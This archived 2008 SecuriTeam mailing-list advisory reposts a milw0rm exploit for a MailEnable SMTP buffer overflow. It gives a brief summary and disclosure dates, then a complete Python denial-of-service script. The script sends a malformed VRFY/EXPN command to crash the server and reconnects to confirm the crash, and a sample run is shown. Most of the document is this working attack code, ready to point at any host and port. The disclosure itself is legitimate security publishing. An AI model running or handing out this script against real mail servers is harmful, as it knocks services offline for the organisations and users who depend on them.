

[EXPL] MailEnable SMTP Service VRFY/EXPN Command Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-03/msg00030.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 12 Mar 2008 10:01:13 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

MailEnable SMTP Service VRFY/EXPN Command Buffer Overflow

SUMMARY

A vulnerability in MailEnable's SMTP service allows remote attackers to issue a malformed VRFY/EXPN command which in turn can be used to cause the server to crash.

DETAILS

Exploit:

```
#!/usr/bin/python
#####
#
# MailEnable SMTP Service VRFY/EXPN Command Buffer Overflow ( DoS )
# Bug discovered by Matteo Memelli aka ryujin
# http://www.gray-world.net http://www.be4mind.com
#
# Affected Versions : Standard Edition all versions
# Professional Edition all versions
# Enterprise Edition all versions
# Tested on OS : Windows 2000 SP4 English
# Windows 2003 Standard Edition Italian
```

[EXPL] MailEnable SMTP Service VRFY/EXPN Command Buffer Overflow

```
# Windows XP SP2 English
# Discovery Date : 02/24/2008
# Initial vendor notification : 03/06/2008
# Coordinated public disclosure: 03/11/2008
#
# CONGRATS TO THE MAILENABLE TEAM: VERY FAST IN PATCHING AND ANSWERING!!
#
#-----
#
# THX TO muts at offensive-security.com :
# I'll promise you: next time i'll find an easier one and get my shell :P
#
#-----
#####
#
# matte@badrobot:~$ ./mailenable_smtp.py -H 192.168.1.245 -P 25 -c VRFY
# [+] Connecting to 192.168.1.245 on port 25
# 220 test.local ESMTP MailEnable Service, Version: 0-3.13- ready at \
# 03/06/08 13:20:49
#
# [+] Sending evilbuffer...
# [+] Waiting 10 secs before reconnecting...
# [+] Reconnecting...
# [+] SMTP Server died!
# [+] Connection refused
#
#####
```

```
from socket import *
from optparse import OptionParser
import sys, time

usage = "%prog -H TARGET_HOST -P TARGET_PORT [-c COMMAND]"
parser = OptionParser(usage=usage)
parser.add_option("-H", "--target_host", type="string",
action="store", dest="HOST",
help="Target Host")
parser.add_option("-P", "--target_port", type="int",
action="store", dest="PORT",
help="Target Port")
parser.add_option("-c", "--command", type="string",
action="store", dest="COMMAND",
help="Command: VRFY or EXPN ; default VRFY")
(options, args) = parser.parse_args()
HOST = options.HOST
PORT = options.PORT
COMMAND = options.COMMAND
if not (HOST and PORT):
parser.print_help()
sys.exit()
if not COMMAND:
```

[EXPL] MailEnable SMTP Service VRFY/EXPN Command Buffer Overflow

```
COMMAND = 'VRFY'
print "[+] Using default command VRFY"
else:
COMMAND = COMMAND.upper().strip()
if COMMAND != 'VRFY' and COMMAND != 'EXPN':
print 'Invalid command "%s" Choose between VRFY or EXPN!' % COMMAND
sys.exit()
evilbuf = '%s \nSMTPISGONNADIE\r\n' % COMMAND
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
print "[+] Connecting to %s on port %d" % (HOST, PORT)
print s.recv(1024)
print "[+] Sending evilbuffer..."
s.send(evilbuf)
s.close()
print "[+] Waiting 10 secs before reconnecting..."
time.sleep(10)
try:
s = socket(AF_INET, SOCK_STREAM)
print "[+] Reconnecting..."
s.connect((HOST, PORT))
except error, e:
print "[+] SMTP Server died!"
print "[+] %s" % e[1]
else:
print "[-] SMTP Server is still up"
print "[-] This probably means that is not vulnerable"
s.close()

# milw0rm.com [2008-03-11]
```

ADDITIONAL INFORMATION

The information has been provided by Matteo Memelli.

The original article can be found at:

<<http://www.milw0rm.com/exploits/5235>>

<http://www.milw0rm.com/exploits/5235>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

[EXPL] MailEnable SMTP Service VRFY/EXPN Command Buffer Overflow

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.